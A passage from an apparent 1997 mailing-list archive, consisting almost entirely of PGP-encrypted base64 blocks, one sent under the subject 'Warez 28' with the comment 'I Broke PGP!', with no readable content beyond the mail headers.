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
Wx0dWVa8xpVaiFFbltESvl0oD9UfmFOa7/z0QQ==
=W23H
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:12:31 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:12:31 +0800
Subject: Warez 28
Message-ID: <199712181201.EAA17849@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
